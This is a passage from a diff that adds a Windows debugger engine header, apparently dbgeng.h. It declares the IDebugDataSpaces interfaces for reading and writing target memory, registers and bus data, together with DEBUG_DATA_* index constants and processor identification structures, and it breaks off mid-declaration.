+ + // GetSystemVersion always returns the kd + // major/minor version numbers, which are + // different than the Win32 version numbers. + // GetSystemVersionValues can be used + // to determine the Win32 version values. + STDMETHOD(GetSystemVersionValues)( + THIS_ + __out PULONG PlatformId, + __out PULONG Win32Major, + __out PULONG Win32Minor, + __out_opt PULONG KdMajor, + __out_opt PULONG KdMinor + ) PURE; + // Strings are selected with DEBUG_SYSVERSTR_*. + STDMETHOD(GetSystemVersionString)( + THIS_ + __in ULONG Which, + __out_ecount_opt(BufferSize) PSTR Buffer, + __in ULONG BufferSize, + __out_opt PULONG StringSize + ) PURE; + STDMETHOD(GetSystemVersionStringWide)( + THIS_ + __in ULONG Which, + __out_ecount_opt(BufferSize) PWSTR Buffer, + __in ULONG BufferSize, + __out_opt PULONG StringSize + ) PURE; + + // Stack tracing with a full initial context + // and full context return for each frame. + // The FrameContextsSize parameter is the total + // byte size of FrameContexts. FrameContextsEntrySize + // gives the byte size of each entry in + // FrameContexts. + STDMETHOD(GetContextStackTrace)( + THIS_ + __in_bcount_opt(StartContextSize) PVOID StartContext, + __in ULONG StartContextSize, + __out_ecount_opt(FramesSize) PDEBUG_STACK_FRAME Frames, + __in ULONG FramesSize, + __out_bcount_opt(FrameContextsSize) PVOID FrameContexts, + __in ULONG FrameContextsSize, + __in ULONG FrameContextsEntrySize, + __out_opt PULONG FramesFilled + ) PURE; + STDMETHOD(OutputContextStackTrace)( + THIS_ + __in ULONG OutputControl, + __in_ecount(FramesSize) PDEBUG_STACK_FRAME Frames, + __in ULONG FramesSize, + __in_bcount(FrameContextsSize) PVOID FrameContexts, + __in ULONG FrameContextsSize, + __in ULONG FrameContextsEntrySize, + __in ULONG Flags + ) PURE; + + // Some targets, such as user-mode minidump files, + // have separate "event of interest" information + // stored within them. This method allows + // access to that information. + STDMETHOD(GetStoredEventInformation)( + THIS_ + __out PULONG Type, + __out PULONG ProcessId, + __out PULONG ThreadId, + __out_bcount_opt(ContextSize) PVOID Context, + __in ULONG ContextSize, + __out_opt PULONG ContextUsed, + __out_bcount_opt(ExtraInformationSize) PVOID ExtraInformation, + __in ULONG ExtraInformationSize, + __out_opt PULONG ExtraInformationUsed + ) PURE; + + // Managed debugging support relies on debugging + // functionality provided by the Common Language Runtime. + // This method provides feedback on the engine's + // use of the runtime debugging APIs. + STDMETHOD(GetManagedStatus)( + THIS_ + __out_opt PULONG Flags, + __in ULONG WhichString, + __out_ecount_opt(StringSize) PSTR String, + __in ULONG StringSize, + __out_opt PULONG StringNeeded + ) PURE; + STDMETHOD(GetManagedStatusWide)( + THIS_ + __out_opt PULONG Flags, + __in ULONG WhichString, + __out_ecount_opt(StringSize) PWSTR String, + __in ULONG StringSize, + __out_opt PULONG StringNeeded + ) PURE; + // Clears and reinitializes the engine's + // managed code debugging support. + STDMETHOD(ResetManagedStatus)( + THIS_ + __in ULONG Flags + ) PURE; +}; + +//---------------------------------------------------------------------------- +// +// IDebugDataSpaces. +// +//---------------------------------------------------------------------------- + +// Data space indices for callbacks and other methods. +#define DEBUG_DATA_SPACE_VIRTUAL 0 +#define DEBUG_DATA_SPACE_PHYSICAL 1 +#define DEBUG_DATA_SPACE_CONTROL 2 +#define DEBUG_DATA_SPACE_IO 3 +#define DEBUG_DATA_SPACE_MSR 4 +#define DEBUG_DATA_SPACE_BUS_DATA 5 +#define DEBUG_DATA_SPACE_DEBUGGER_DATA 6 +// Count of data spaces. +#define DEBUG_DATA_SPACE_COUNT 7 + +// Indices for ReadDebuggerData interface +#define DEBUG_DATA_KernBase 24 +#define DEBUG_DATA_BreakpointWithStatusAddr 32 +#define DEBUG_DATA_SavedContextAddr 40 +#define DEBUG_DATA_KiCallUserModeAddr 56 +#define DEBUG_DATA_KeUserCallbackDispatcherAddr 64 +#define DEBUG_DATA_PsLoadedModuleListAddr 72 +#define DEBUG_DATA_PsActiveProcessHeadAddr 80 +#define DEBUG_DATA_PspCidTableAddr 88 +#define DEBUG_DATA_ExpSystemResourcesListAddr 96 +#define DEBUG_DATA_ExpPagedPoolDescriptorAddr 104 +#define DEBUG_DATA_ExpNumberOfPagedPoolsAddr 112 +#define DEBUG_DATA_KeTimeIncrementAddr 120 +#define DEBUG_DATA_KeBugCheckCallbackListHeadAddr 128 +#define DEBUG_DATA_KiBugcheckDataAddr 136 +#define DEBUG_DATA_IopErrorLogListHeadAddr 144 +#define DEBUG_DATA_ObpRootDirectoryObjectAddr 152 +#define DEBUG_DATA_ObpTypeObjectTypeAddr 160 +#define DEBUG_DATA_MmSystemCacheStartAddr 168 +#define DEBUG_DATA_MmSystemCacheEndAddr 176 +#define DEBUG_DATA_MmSystemCacheWsAddr 184 +#define DEBUG_DATA_MmPfnDatabaseAddr 192 +#define DEBUG_DATA_MmSystemPtesStartAddr 200 +#define DEBUG_DATA_MmSystemPtesEndAddr 208 +#define DEBUG_DATA_MmSubsectionBaseAddr 216 +#define DEBUG_DATA_MmNumberOfPagingFilesAddr 224 +#define DEBUG_DATA_MmLowestPhysicalPageAddr 232 +#define DEBUG_DATA_MmHighestPhysicalPageAddr 240 +#define DEBUG_DATA_MmNumberOfPhysicalPagesAddr 248 +#define DEBUG_DATA_MmMaximumNonPagedPoolInBytesAddr 256 +#define DEBUG_DATA_MmNonPagedSystemStartAddr 264 +#define DEBUG_DATA_MmNonPagedPoolStartAddr 272 +#define DEBUG_DATA_MmNonPagedPoolEndAddr 280 +#define DEBUG_DATA_MmPagedPoolStartAddr 288 +#define DEBUG_DATA_MmPagedPoolEndAddr 296 +#define DEBUG_DATA_MmPagedPoolInformationAddr 304 +#define DEBUG_DATA_MmPageSize 312 +#define DEBUG_DATA_MmSizeOfPagedPoolInBytesAddr 320 +#define DEBUG_DATA_MmTotalCommitLimitAddr 328 +#define DEBUG_DATA_MmTotalCommittedPagesAddr 336 +#define DEBUG_DATA_MmSharedCommitAddr 344 +#define DEBUG_DATA_MmDriverCommitAddr 352 +#define DEBUG_DATA_MmProcessCommitAddr 360 +#define DEBUG_DATA_MmPagedPoolCommitAddr 368 +#define DEBUG_DATA_MmExtendedCommitAddr 376 +#define DEBUG_DATA_MmZeroedPageListHeadAddr 384 +#define DEBUG_DATA_MmFreePageListHeadAddr 392 +#define DEBUG_DATA_MmStandbyPageListHeadAddr 400 +#define DEBUG_DATA_MmModifiedPageListHeadAddr 408 +#define DEBUG_DATA_MmModifiedNoWritePageListHeadAddr 416 +#define DEBUG_DATA_MmAvailablePagesAddr 424 +#define DEBUG_DATA_MmResidentAvailablePagesAddr 432 +#define DEBUG_DATA_PoolTrackTableAddr 440 +#define DEBUG_DATA_NonPagedPoolDescriptorAddr 448 +#define DEBUG_DATA_MmHighestUserAddressAddr 456 +#define DEBUG_DATA_MmSystemRangeStartAddr 464 +#define DEBUG_DATA_MmUserProbeAddressAddr 472 +#define DEBUG_DATA_KdPrintCircularBufferAddr 480 +#define DEBUG_DATA_KdPrintCircularBufferEndAddr 488 +#define DEBUG_DATA_KdPrintWritePointerAddr 496 +#define DEBUG_DATA_KdPrintRolloverCountAddr 504 +#define DEBUG_DATA_MmLoadedUserImageListAddr 512 +#define DEBUG_DATA_NtBuildLabAddr 520 +#define DEBUG_DATA_KiNormalSystemCall 528 +#define DEBUG_DATA_KiProcessorBlockAddr 536 +#define DEBUG_DATA_MmUnloadedDriversAddr 544 +#define DEBUG_DATA_MmLastUnloadedDriverAddr 552 +#define DEBUG_DATA_MmTriageActionTakenAddr 560 +#define DEBUG_DATA_MmSpecialPoolTagAddr 568 +#define DEBUG_DATA_KernelVerifierAddr 576 +#define DEBUG_DATA_MmVerifierDataAddr 584 +#define DEBUG_DATA_MmAllocatedNonPagedPoolAddr 592 +#define DEBUG_DATA_MmPeakCommitmentAddr 600 +#define DEBUG_DATA_MmTotalCommitLimitMaximumAddr 608 +#define DEBUG_DATA_CmNtCSDVersionAddr 616 +#define DEBUG_DATA_MmPhysicalMemoryBlockAddr 624 +#define DEBUG_DATA_MmSessionBase 632 +#define DEBUG_DATA_MmSessionSize 640 +#define DEBUG_DATA_MmSystemParentTablePage 648 +#define DEBUG_DATA_MmVirtualTranslationBase 656 +#define DEBUG_DATA_OffsetKThreadNextProcessor 664 +#define DEBUG_DATA_OffsetKThreadTeb 666 +#define DEBUG_DATA_OffsetKThreadKernelStack 668 +#define DEBUG_DATA_OffsetKThreadInitialStack 670 +#define DEBUG_DATA_OffsetKThreadApcProcess 672 +#define DEBUG_DATA_OffsetKThreadState 674 +#define DEBUG_DATA_OffsetKThreadBStore 676 +#define DEBUG_DATA_OffsetKThreadBStoreLimit 678 +#define DEBUG_DATA_SizeEProcess 680 +#define DEBUG_DATA_OffsetEprocessPeb 682 +#define DEBUG_DATA_OffsetEprocessParentCID 684 +#define DEBUG_DATA_OffsetEprocessDirectoryTableBase 686 +#define DEBUG_DATA_SizePrcb 688 +#define DEBUG_DATA_OffsetPrcbDpcRoutine 690 +#define DEBUG_DATA_OffsetPrcbCurrentThread 692 +#define DEBUG_DATA_OffsetPrcbMhz 694 +#define DEBUG_DATA_OffsetPrcbCpuType 696 +#define DEBUG_DATA_OffsetPrcbVendorString 698 +#define DEBUG_DATA_OffsetPrcbProcessorState 700 +#define DEBUG_DATA_OffsetPrcbNumber 702 +#define DEBUG_DATA_SizeEThread 704 +#define DEBUG_DATA_KdPrintCircularBufferPtrAddr 712 +#define DEBUG_DATA_KdPrintBufferSizeAddr 720 +#define DEBUG_DATA_MmBadPagesDetected 800 +#define DEBUG_DATA_EtwpDebuggerData 816 + +#define DEBUG_DATA_PaeEnabled 100000 +#define DEBUG_DATA_SharedUserData 100008 +#define DEBUG_DATA_ProductType 100016 +#define DEBUG_DATA_SuiteMask 100024 +#define DEBUG_DATA_DumpWriterStatus 100032 +#define DEBUG_DATA_DumpFormatVersion 100040 +#define DEBUG_DATA_DumpWriterVersion 100048 +#define DEBUG_DATA_DumpPowerState 100056 +#define DEBUG_DATA_DumpMmStorage 100064 + +// +// Processor information structures. +// + +typedef struct _DEBUG_PROCESSOR_IDENTIFICATION_ALPHA +{ + ULONG Type; + ULONG Revision; +} DEBUG_PROCESSOR_IDENTIFICATION_ALPHA, *PDEBUG_PROCESSOR_IDENTIFICATION_ALPHA; + +typedef struct _DEBUG_PROCESSOR_IDENTIFICATION_AMD64 +{ + ULONG Family; + ULONG Model; + ULONG Stepping; + CHAR VendorString[16]; +} DEBUG_PROCESSOR_IDENTIFICATION_AMD64, *PDEBUG_PROCESSOR_IDENTIFICATION_AMD64; + +typedef struct _DEBUG_PROCESSOR_IDENTIFICATION_IA64 +{ + ULONG Model; + ULONG Revision; + ULONG Family; + ULONG ArchRev; + CHAR VendorString[16]; +} DEBUG_PROCESSOR_IDENTIFICATION_IA64, *PDEBUG_PROCESSOR_IDENTIFICATION_IA64; + +typedef struct _DEBUG_PROCESSOR_IDENTIFICATION_X86 +{ + ULONG Family; + ULONG Model; + ULONG Stepping; + CHAR VendorString[16]; +} DEBUG_PROCESSOR_IDENTIFICATION_X86, *PDEBUG_PROCESSOR_IDENTIFICATION_X86; + +typedef struct _DEBUG_PROCESSOR_IDENTIFICATION_ARM +{ + ULONG Type; + ULONG Revision; +} DEBUG_PROCESSOR_IDENTIFICATION_ARM, *PDEBUG_PROCESSOR_IDENTIFICATION_ARM; + +typedef union _DEBUG_PROCESSOR_IDENTIFICATION_ALL +{ + DEBUG_PROCESSOR_IDENTIFICATION_ALPHA Alpha; + DEBUG_PROCESSOR_IDENTIFICATION_AMD64 Amd64; + DEBUG_PROCESSOR_IDENTIFICATION_IA64 Ia64; + DEBUG_PROCESSOR_IDENTIFICATION_X86 X86; + DEBUG_PROCESSOR_IDENTIFICATION_ARM Arm; +} DEBUG_PROCESSOR_IDENTIFICATION_ALL, *PDEBUG_PROCESSOR_IDENTIFICATION_ALL; + +// Indices for ReadProcessorSystemData. +#define DEBUG_DATA_KPCR_OFFSET 0 +#define DEBUG_DATA_KPRCB_OFFSET 1 +#define DEBUG_DATA_KTHREAD_OFFSET 2 +#define DEBUG_DATA_BASE_TRANSLATION_VIRTUAL_OFFSET 3 +#define DEBUG_DATA_PROCESSOR_IDENTIFICATION 4 +#define DEBUG_DATA_PROCESSOR_SPEED 5 + +#undef INTERFACE +#define INTERFACE IDebugDataSpaces +DECLARE_INTERFACE_(IDebugDataSpaces, IUnknown) +{ + // IUnknown. + STDMETHOD(QueryInterface)( + THIS_ + __in REFIID InterfaceId, + __out PVOID* Interface + ) PURE; + STDMETHOD_(ULONG, AddRef)( + THIS + ) PURE; + STDMETHOD_(ULONG, Release)( + THIS + ) PURE; + + // IDebugDataSpaces. + STDMETHOD(ReadVirtual)( + THIS_ + __in ULONG64 Offset, + __out_bcount(BufferSize) PVOID Buffer, + __in ULONG BufferSize, + __out_opt PULONG BytesRead + ) PURE; + STDMETHOD(WriteVirtual)( + THIS_ + __in ULONG64 Offset, + __in_bcount(BufferSize) PVOID Buffer, + __in ULONG BufferSize, + __out_opt PULONG BytesWritten + ) PURE; + // SearchVirtual searches the given virtual + // address range for the given pattern. PatternSize + // gives the byte length of the pattern and PatternGranularity + // controls the granularity of comparisons during + // the search. + // For example, a DWORD-granular search would + // use a pattern granularity of four to search by DWORD + // increments. + STDMETHOD(SearchVirtual)( + THIS_ + __in ULONG64 Offset, + __in ULONG64 Length, + __in_bcount(PatternSize) PVOID Pattern, + __in ULONG PatternSize, + __in ULONG PatternGranularity, + __out PULONG64 MatchOffset + ) PURE; + // These methods are identical to Read/WriteVirtual + // except that they avoid the kernel virtual memory + // cache entirely and are therefore useful for reading + // virtual memory which is inherently volatile, such + // as memory-mapped device areas, without contaminating + // or invalidating the cache. + // In user-mode they are the same as Read/WriteVirtual. + STDMETHOD(ReadVirtualUncached)( + THIS_ + __in ULONG64 Offset, + __out_bcount(BufferSize) PVOID Buffer, + __in ULONG BufferSize, + __out_opt PULONG BytesRead + ) PURE; + STDMETHOD(WriteVirtualUncached)( + THIS_ + __in ULONG64 Offset, + __in_bcount(BufferSize) PVOID Buffer, + __in ULONG BufferSize, + __out_opt PULONG BytesWritten + ) PURE; + // The following two methods are convenience + // methods for accessing pointer values. + // They automatically convert between native pointers + // and canonical 64-bit values as necessary. + // These routines stop at the first failure. + STDMETHOD(ReadPointersVirtual)( + THIS_ + __in ULONG Count, + __in ULONG64 Offset, + __out_ecount(Count) PULONG64 Ptrs + ) PURE; + STDMETHOD(WritePointersVirtual)( + THIS_ + __in ULONG Count, + __in ULONG64 Offset, + __in_ecount(Count) PULONG64 Ptrs + ) PURE; + // All non-virtual data spaces are only + // available when kernel debugging. + STDMETHOD(ReadPhysical)( + THIS_ + __in ULONG64 Offset, + __out_bcount(BufferSize) PVOID Buffer, + __in ULONG BufferSize, + __out_opt PULONG BytesRead + ) PURE; + STDMETHOD(WritePhysical)( + THIS_ + __in ULONG64 Offset, + __in_bcount(BufferSize) PVOID Buffer, + __in ULONG BufferSize, + __out_opt PULONG BytesWritten + ) PURE; + STDMETHOD(ReadControl)( + THIS_ + __in ULONG Processor, + __in ULONG64 Offset, + __out_bcount(BufferSize) PVOID Buffer, + __in ULONG BufferSize, + __out_opt PULONG BytesRead + ) PURE; + STDMETHOD(WriteControl)( + THIS_ + __in ULONG Processor, + __in ULONG64 Offset, + __in_bcount(BufferSize) PVOID Buffer, + __in ULONG BufferSize, + __out_opt PULONG BytesWritten + ) PURE; + STDMETHOD(ReadIo)( + THIS_ + __in ULONG InterfaceType, + __in ULONG BusNumber, + __in ULONG AddressSpace, + __in ULONG64 Offset, + __out_bcount(BufferSize) PVOID Buffer, + __in ULONG BufferSize, + __out_opt PULONG BytesRead + ) PURE; + STDMETHOD(WriteIo)( + THIS_ + __in ULONG InterfaceType, + __in ULONG BusNumber, + __in ULONG AddressSpace, + __in ULONG64 Offset, + __in_bcount(BufferSize) PVOID Buffer, + __in ULONG BufferSize, + __out_opt PULONG BytesWritten + ) PURE; + STDMETHOD(ReadMsr)( + THIS_ + __in ULONG Msr, + __out PULONG64 Value + ) PURE; + STDMETHOD(WriteMsr)( + THIS_ + __in ULONG Msr, + __in ULONG64 Value + ) PURE; + STDMETHOD(ReadBusData)( + THIS_ + __in ULONG BusDataType, + __in ULONG BusNumber, + __in ULONG SlotNumber, + __in ULONG Offset, + __out_bcount(BufferSize) PVOID Buffer, + __in ULONG BufferSize, + __out_opt PULONG BytesRead + ) PURE; + STDMETHOD(WriteBusData)( + THIS_ + __in ULONG BusDataType, + __in ULONG BusNumber, + __in ULONG SlotNumber, + __in ULONG Offset, + __in_bcount(BufferSize) PVOID Buffer, + __in ULONG BufferSize, + __out_opt PULONG BytesWritten + ) PURE; + STDMETHOD(CheckLowMemory)( + THIS + ) PURE; + STDMETHOD(ReadDebuggerData)( + THIS_ + __in ULONG Index, + __out_bcount(BufferSize) PVOID Buffer, + __in ULONG BufferSize, + __out_opt PULONG DataSize + ) PURE; + STDMETHOD(ReadProcessorSystemData)( + THIS_ + __in ULONG Processor, + __in ULONG Index, + __out_bcount(BufferSize) PVOID Buffer, + __in ULONG BufferSize, + __out_opt PULONG DataSize + ) PURE; +}; + +// +// Handle data types and structures. +// + +#define DEBUG_HANDLE_DATA_TYPE_BASIC 0 +#define DEBUG_HANDLE_DATA_TYPE_TYPE_NAME 1 +#define DEBUG_HANDLE_DATA_TYPE_OBJECT_NAME 2 +#define DEBUG_HANDLE_DATA_TYPE_HANDLE_COUNT 3 +#define DEBUG_HANDLE_DATA_TYPE_TYPE_NAME_WIDE 4 +#define DEBUG_HANDLE_DATA_TYPE_OBJECT_NAME_WIDE 5 +#define DEBUG_HANDLE_DATA_TYPE_MINI_THREAD_1 6 +#define DEBUG_HANDLE_DATA_TYPE_MINI_MUTANT_1 7 +#define DEBUG_HANDLE_DATA_TYPE_MINI_MUTANT_2 8 +#define DEBUG_HANDLE_DATA_TYPE_PER_HANDLE_OPERATIONS 9 +#define DEBUG_HANDLE_DATA_TYPE_ALL_HANDLE_OPERATIONS 10 +#define DEBUG_HANDLE_DATA_TYPE_MINI_PROCESS_1 11 +#define DEBUG_HANDLE_DATA_TYPE_MINI_PROCESS_2 12 + +typedef struct _DEBUG_HANDLE_DATA_BASIC +{ + ULONG TypeNameSize; + ULONG ObjectNameSize; + ULONG Attributes; + ULONG GrantedAccess; + ULONG HandleCount; + ULONG PointerCount; +} DEBUG_HANDLE_DATA_BASIC, *PDEBUG_HANDLE_DATA_BASIC; + +#undef INTERFACE +#define INTERFACE IDebugDataSpaces2 +DECLARE_INTERFACE_(IDebugDataSpaces2, IUnknown) +{ + // IUnknown. + STDMETHOD(QueryInterface)( + THIS_ + __in REFIID InterfaceId, + __out PVOID* Interface + ) PURE; + STDMETHOD_(ULONG, AddRef)( + THIS + ) PURE; + STDMETHOD_(ULONG, Release)( + THIS + ) PURE; + + // IDebugDataSpaces. + STDMETHOD(ReadVirtual)( + THIS_ + __in ULONG64 Offset, + __out_bcount(BufferSize) PVOID Buffer, + __in ULONG BufferSize, + __out_opt PULONG BytesRead + ) PURE; + STDMETHOD(WriteVirtual)( + THIS_ + __in ULONG64 Offset, + __in_bcount(BufferSize) PVOID Buffer, + __in ULONG BufferSize, + __out_opt PULONG BytesWritten + ) PURE; + // SearchVirtual searches the given virtual + // address range for the given pattern. PatternSize + // gives the byte length of the pattern and PatternGranularity + // controls the granularity of comparisons during + // the search. + // For example, a DWORD-granular search would + // use a pattern granularity of four to search by DWORD + // increments. + STDMETHOD(SearchVirtual)( + THIS_ + __in ULONG64 Offset, + __in ULONG64 Length, + __in_bcount(PatternSize) PVOID Pattern, + __in ULONG PatternSize, + __in ULONG PatternGranularity, + __out PULONG64 MatchOffset + ) PURE; + // These methods are identical to Read/WriteVirtual + // except that they avoid the kernel virtual memory + // cache entirely and are therefore useful for reading + // virtual memory which is inherently volatile, such + // as memory-mapped device areas, without contaminating + // or invalidating the cache. + // In user-mode they are the same as Read/WriteVirtual. + STDMETHOD(ReadVirtualUncached)( + THIS_ + __in ULONG64 Offset, + __out_bcount(BufferSize) PVOID Buffer, + __in ULONG BufferSize, + __out_opt PULONG BytesRead + ) PURE; + STDMETHOD(WriteVirtualUncached)( + THIS_ + __in ULONG64 Offset, + __in_bcount(BufferSize) PVOID Buffer, + __in ULONG BufferSize, + __out_opt PULONG BytesWritten + ) PURE; + // The following two methods are convenience + // methods for accessing pointer values. + // They automatically convert between native pointers + // and canonical 64-bit values as necessary. + // These routines stop at the first failure. + STDMETHOD(ReadPointersVirtual)( + THIS_ + __in ULONG Count, + __in ULONG64 Offset, + __out_ecount(Count) PULONG64 Ptrs + ) PURE; + STDMETHOD(WritePointersVirtual)( + THIS_ + __in ULONG Count, + __in ULONG64 Offset, + __in_ecount(Count) PULONG64 Ptrs + ) PURE; + // All non-virtual data spaces are only + // available when kernel debugging. + STDMETHOD(ReadPhysical)( + THIS_ + __in ULONG64 Offset, + __out_bcount(BufferSize) PVOID Buffer, + __in ULONG BufferSize, + __out_opt PULONG BytesRead + ) PURE; + STDMETHOD(WritePhysical)( + THIS_ + __in ULONG64 Offset, + __in_bcount(BufferSize) PVOID Buffer, + __in ULONG BufferSize, + __out_opt PULONG BytesWritten + ) PURE; + STDMETHOD(ReadControl)( + THIS_ + __in ULONG Processor, + __in ULONG64 Offset, + __out_bcount(BufferSize) PVOID Buffer, + __in ULONG BufferSize, + __out_opt PULONG BytesRead + ) PURE; + STDMETHOD(WriteControl)( + THIS_ + __in ULONG Processor, + __in ULONG64 Offset, + __in_bcount(BufferSize) PVOID Buffer, + __in ULONG BufferSize, + __out_opt PULONG BytesWritten + ) PURE; + STDMETHOD(ReadIo)( + THIS_ + __in ULONG InterfaceType, + __in ULONG BusNumber, + __in ULONG AddressSpace, + __in ULONG64 Offset, + __out_bcount(BufferSize) PVOID Buffer, + __in ULONG BufferSize, + __out_opt PULONG BytesRead + ) PURE; + STDMETHOD(WriteIo)( + THIS_ + __in ULONG InterfaceType, + __in ULONG BusNumber, + __in ULONG AddressSpace, + __in ULONG64 Offset, + __in_bcount(BufferSize) PVOID Buffer, + __in ULONG BufferSize, + __out_opt PULONG BytesWritten + ) PURE; + STDMETHOD(ReadMsr)( + THIS_ + __in ULONG Msr, + __out PULONG64 Value + ) PURE; + STDMETHOD(WriteMsr)( + THIS_ + __in ULONG Msr, + __in ULONG64 Value + ) PURE; + STDMETHOD(ReadBusData)( + THIS_ + __in ULONG BusDataType, + __in ULONG BusNumber, + __in ULONG SlotNumber, + __in ULONG Offset, + __out_bcount(BufferSize) PVOID Buffer, + __in ULONG BufferSize, + __out_opt PULONG BytesRead + ) PURE; + STDMETHOD(WriteBusData)( + THIS_ + __in ULONG BusDataType, + __in ULONG BusNumber, + __in ULONG SlotNumber, + __in ULONG Offset, + __in_bcount(BufferSize) PVOID Buffer, + __in ULONG BufferSize, + __out_opt PULONG BytesWritten + ) PURE; + STDMETHOD(CheckLowMemory)( + THIS + ) PURE; + STDMETHOD(ReadDebuggerData)( + THIS_ + __in ULONG Index, + __out_bcount(BufferSize) PVOID Buffer, + __in ULONG BufferSize, + __out_opt PULONG DataSize + ) PURE; + STDMETHOD(ReadProcessorSystemData)( + THIS_ + __in ULONG Processor, + __in ULONG Index, + __out_bcount(BufferSize) PVOID Buffer, + __in ULONG BufferSize, + __out_opt PULONG DataSize + ) PURE; + + // IDebugDataSpaces2. + + STDMETHOD(VirtualToPhysical)( + THIS_ + __in ULONG64 Virtual, + __out PULONG64 Physical + ) PURE; + // Returns the physical addresses for the + // N levels of the systems paging structures. + // Level zero is the starting base physical + // address for virtual translations. + // Levels one-(N-1) will point to the appropriate + // paging descriptor for the virtual address at + // the given level of the paging hierarchy. The + // exact number of levels depends on many factors. + // The last level will be the fully translated + // physical address, matching what VirtualToPhysical + // returns. If the address can only be partially + // translated S_FALSE is returned. + STDMETHOD(GetVirtualTranslationPhysicalOffsets)( + THIS_ + __in ULONG64 Virtual, + __out_ecount_opt(OffsetsSize) PULONG64 Offsets, + __in ULONG OffsetsSize, + __out_opt PULONG Levels + ) PURE; + + // System handle data is accessible in certain + // debug sessions. The particular data available + // varies from session to session and platform + // to platform. + STDMETHOD(ReadHandleData)( + THIS_ + __in ULONG64 Handle, + __in ULONG DataType, + __out_bcount_opt(BufferSize) PVOID Buffer, + __in ULONG BufferSize, + __out_opt PULONG DataSize + ) PURE; + + // Fills memory with the given pattern. + // The fill stops at the first non-writable byte. + STDMETHOD(FillVirtual)( + THIS_ + __in ULONG64 Start, + __in ULONG Size, + __in_bcount(PatternSize) PVOID Pattern, + __in ULONG PatternSize, + __out_opt PULONG Filled + ) PURE; + STDMETHOD(FillPhysical)( + THIS_ + __in ULONG64 Start, + __in ULONG Size, + __in_bcount(PatternSize) PVOID Pattern, + __in ULONG PatternSize, + __out_opt PULONG Filled + ) PURE; + + // Queries virtual memory mapping information given + // an address similarly to the Win32 API VirtualQuery. + // MEMORY_BASIC_INFORMATION64 is defined in crash.h. + // This method currently only works for user-mode sessions. + STDMETHOD(QueryVirtual)( + THIS_ + __in ULONG64 Offset, + __out PMEMORY_BASIC_INFORMATION64 Info + ) PURE; +}; + +#undef INTERFACE +#define INTERFACE IDebugDataSpaces3 +DECLARE_INTERFACE_(IDebugDataSpaces3, IUnknown) +{ + // IUnknown. + STDMETHOD(QueryInterface)( + THIS_ + __in REFIID InterfaceId, + __out PVOID* Interface + ) PURE; + STDMETHOD_(ULONG, AddRef)( + THIS + ) PURE; + STDMETHOD_(ULONG, Release)( + THIS + ) PURE; + + // IDebugDataSpaces. + STDMETHOD(ReadVirtual)( + THIS_ + __in ULONG64 Offset, + __out_bcount(BufferSize) PVOID Buffer, + __in ULONG BufferSize, + __out_opt PULONG BytesRead + ) PURE; + STDMETHOD(WriteVirtual)( + THIS_ + __in ULONG64 Offset, + __in_bcount(BufferSize) PVOID Buffer, + __in ULONG BufferSize, + __out_opt PULONG BytesWritten + ) PURE; + // SearchVirtual searches the given virtual + // address range for the given pattern. PatternSize + // gives the byte length of the pattern and PatternGranularity + // controls the granularity of comparisons during + // the search. + // For example, a DWORD-granular search would + // use a pattern granularity of four to search by DWORD + // increments. + STDMETHOD(SearchVirtual)( + THIS_ + __in ULONG64 Offset, + __in ULONG64 Length, + __in_bcount(PatternSize) PVOID Pattern, + __in ULONG PatternSize, + __in ULONG PatternGranularity, + __out PULONG64 MatchOffset + ) PURE; + // These methods are identical to Read/WriteVirtual + // except that they avoid the kernel virtual memory + // cache entirely and are therefore useful for reading + // virtual memory which is inherently volatile, such + // as memory-mapped device areas, without contaminating + // or invalidating the cache. + // In user-mode they are the same as Read/WriteVirtual. + STDMETHOD(ReadVirtualUncached)( + THIS_ + __in ULONG64 Offset, + __out_bcount(BufferSize) PVOID Buffer, + __in ULONG BufferSize, + __out_opt PULONG BytesRead + ) PURE; + STDMETHOD(WriteVirtualUncached)( + THIS_ + __in ULONG64 Offset, + __in_bcount(BufferSize) PVOID Buffer, + __in ULONG BufferSize, + __out_opt PULONG BytesWritten + ) PURE; + // The following two methods are convenience + // methods for accessing pointer values. + // They automatically convert between native pointers + // and canonical 64-bit values as necessary. + // These routines stop at the first failure. + STDMETHOD(ReadPointersVirtual)( + THIS_ + __in ULONG Count, + __in ULONG64 Offset, + __out_ecount(Count) PULONG64 Ptrs + ) PURE; + STDMETHOD(WritePointersVirtual)( + THIS_ + __in ULONG Count, + __in ULONG64 Offset, + __in_ecount(Count) PULONG64 Ptrs + ) PURE; + // All non-virtual data spaces are only + // available when kernel debugging. + STDMETHOD(ReadPhysical)( + THIS_ + __in ULONG64 Offset, + __out_bcount(BufferSize) PVOID Buffer, + __in ULONG BufferSize, + __out_opt PULONG BytesRead + ) PURE; + STDMETHOD(WritePhysical)( + THIS_ + __in ULONG64 Offset, + __in_bcount(BufferSize) PVOID Buffer, + __in ULONG BufferSize, + __out_opt PULONG BytesWritten + ) PURE; + STDMETHOD(ReadControl)( + THIS_ + __in ULONG Processor, + __in ULONG64 Offset, + __out_bcount(BufferSize) PVOID Buffer, + __in ULONG BufferSize, + __out_opt PULONG BytesRead + ) PURE; + STDMETHOD(WriteControl)( + THIS_ + __in ULONG Processor, + __in ULONG64 Offset, + __in_bcount(BufferSize) PVOID Buffer, + __in ULONG BufferSize, + __out_opt PULONG BytesWritten + ) PURE; + STDMETHOD(ReadIo)( + THIS_ + __in ULONG InterfaceType, + __in ULONG BusNumber, + __in ULONG AddressSpace, + __in ULONG64 Offset, + __out_bcount(BufferSize) PVOID Buffer, + __in ULONG BufferSize, + __out_opt PULONG BytesRead + ) PURE; + STDMETHOD(WriteIo)( + THIS_ + __in ULONG InterfaceType, + __in ULONG BusNumber, + __in ULONG AddressSpace, + __in ULONG64 Offset, + __in_bcount(BufferSize) PVOID Buffer, + __in ULONG BufferSize, + __out_opt PULONG BytesWritten + ) PURE; + STDMETHOD(ReadMsr)( + THIS_ + __in ULONG Msr, + __out PULONG64 Value + ) PURE; + STDMETHOD(WriteMsr)( + THIS_ + __in ULONG Msr, + __in ULONG64 Value + ) PURE; + STDMETHOD(ReadBusData)( + THIS_ + __in ULONG BusDataType, + __in ULONG BusNumber, + __in ULONG SlotNumber, + __in ULONG Offset, + __out_bcount(BufferSize) PVOID Buffer, + __in ULONG BufferSize, + __out_opt PULONG BytesRead + ) PURE; + STDMETHOD(WriteBusData)( + THIS_ + __in ULONG BusDataType, + __in ULONG BusNumber, + __in ULONG SlotNumber, + __in ULONG Offset, + __in_bcount(BufferSize) PVOID Buffer, + __in ULONG BufferSize, + __out_opt PULONG BytesWritten + ) PURE; + STDMETHOD(CheckLowMemory)( + THIS + ) PURE; + STDMETHOD(ReadDebuggerData)( + THIS_ + __in ULONG Index, + __out_bcount(BufferSize) PVOID Buffer, + __in ULONG BufferSize, + __out_opt PULONG 